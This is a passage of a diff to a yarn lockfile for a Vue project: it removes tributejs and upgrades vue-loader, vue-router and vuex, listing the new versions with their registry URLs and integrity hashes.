+ integrity sha512-qdMUt1NhmNXLjHd/IaHbvbX5LaEE91WZB4glfj7AfUUs413/z148kBuXKg6XpMZqvJr+XdR/9i1V+YGY7UnCKA==
moment-mini@^2.22.1:
version "2.22.1"
@@ -11744,11 +11754,6 @@ tr46@^2.0.2:
dependencies:
punycode "^2.1.1"
-tributejs@5.1.3:
- version "5.1.3"
- resolved "https://registry.yarnpkg.com/tributejs/-/tributejs-5.1.3.tgz#980600fc72865be5868893078b4bfde721129eae"
- integrity sha512-B5CXihaVzXw+1UHhNFyAwUTMDk1EfoLP5Tj1VhD9yybZ1I8DZJEv8tZ1l0RJo0t0tk9ZhR8eG5tEsaCvRigmdQ==
-
trim-newlines@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-1.0.0.tgz#5887966bb582a4503a41eb524f7d35011815a613"
@@ -12406,10 +12411,10 @@ vue-jest@4.0.0-rc.0:
source-map "0.5.6"
ts-jest "26.x"
-vue-loader@^15.9.3:
- version "15.9.3"
- resolved "https://registry.yarnpkg.com/vue-loader/-/vue-loader-15.9.3.tgz#0de35d9e555d3ed53969516cac5ce25531299dda"
- integrity sha512-Y67VnGGgVLH5Voostx8JBZgPQTlDQeOVBLOEsjc2cXbCYBKexSKEpOA56x0YZofoDOTszrLnIShyOX1p9uCEHA==
+vue-loader@^15.9.5:
+ version "15.9.5"
+ resolved "https://registry.yarnpkg.com/vue-loader/-/vue-loader-15.9.5.tgz#7a960dc420a3439deaacdda038fdcdbf7c432706"
+ integrity sha512-oeMOs2b5o5gRqkxfds10bCx6JeXYTwivRgbb8hzOrcThD2z1+GqEKE3EX9A2SGbsYDf4rXwRg6D5n1w0jO5SwA==
dependencies:
"@vue/component-compiler-utils" "^3.1.0"
hash-sum "^1.0.2"
@@ -12417,10 +12422,10 @@ vue-loader@^15.9.3:
vue-hot-reload-api "^2.3.0"
vue-style-loader "^4.1.0"
-vue-router@3.4.5:
- version "3.4.5"
- resolved "https://registry.yarnpkg.com/vue-router/-/vue-router-3.4.5.tgz#d396ec037b35931bdd1e9b7edd86f9788dc15175"
- integrity sha512-ioRY5QyDpXM9TDjOX6hX79gtaMXSVDDzSlbIlyAmbHNteIL81WIVB2e+jbzV23vzxtoV0krdS2XHm+GxFg+Nxg==
+vue-router@3.4.9:
+ version "3.4.9"
+ resolved "https://registry.yarnpkg.com/vue-router/-/vue-router-3.4.9.tgz#c016f42030ae2932f14e4748b39a1d9a0e250e66"
+ integrity sha512-CGAKWN44RqXW06oC+u4mPgHLQQi2t6vLD/JbGRDAXm0YpMv0bgpKuU5bBd7AvMgfTz9kXVRIWKHqRwGEb8xFkA==
vue-runtime-helpers@^1.1.2:
version "1.1.2"
@@ -12465,10 +12470,10 @@ vuedraggable@^2.23.0:
dependencies:
sortablejs "^1.9.0"
-vuex@^3.5.1:
- version "3.5.1"
- resolved "https://registry.yarnpkg.com/vuex/-/vuex-3.5.1.tgz#f1b8dcea649bc25254cf4f4358081dbf5da18b3d"
- integrity sha512-w7oJzmHQs0FM9LXodfskhw9wgKBiaB+totOdb8sNzbTB2KDCEEwEs29NzBZFh/lmEK1t5tDmM1vtsO7ubG1DFw==
+vuex@^3.6.0:
+ version "3.6.0"
+ resolved "https://registry.yarnpkg.com/vuex/-/vuex-3.6.0.tgz#95efa56a58f7607c135b053350833a09e01aa813"
+ integrity sha512-W74OO2vCJPs9/YjNjW8lLbj+jzT24waTo2KShI8jLvJW8OaIkgb3wuAMA7D+ZiUxDOx3ubwSZTaJBip9G8a3aQ==
w3c-hr-time@^1.0.2:
version "1.0.2"